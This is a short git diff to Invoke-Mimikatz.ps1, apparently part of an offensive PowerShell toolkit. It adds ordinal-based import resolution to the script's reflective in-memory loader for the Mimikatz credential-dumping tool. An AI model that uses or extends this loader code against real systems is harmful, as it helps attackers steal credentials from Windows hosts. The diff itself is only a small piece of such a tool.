diff options
Diffstat (limited to 'Exfiltration')
| -rw-r--r-- | Exfiltration/Invoke-Mimikatz.ps1 | 9 |
1 files changed, 8 insertions, 1 deletions
diff --git a/Exfiltration/Invoke-Mimikatz.ps1 b/Exfiltration/Invoke-Mimikatz.ps1 index f95daa3..bb18cfa 100644 --- a/Exfiltration/Invoke-Mimikatz.ps1 +++ b/Exfiltration/Invoke-Mimikatz.ps1 @@ -1687,7 +1687,14 @@ $RemoteScriptBlock = { } else { - [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName) + if($ProcedureName -is [string]) + { + [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName) + } + else + { + [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressOrdinal.Invoke($ImportDllHandle, $ProcedureName) + } } if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) |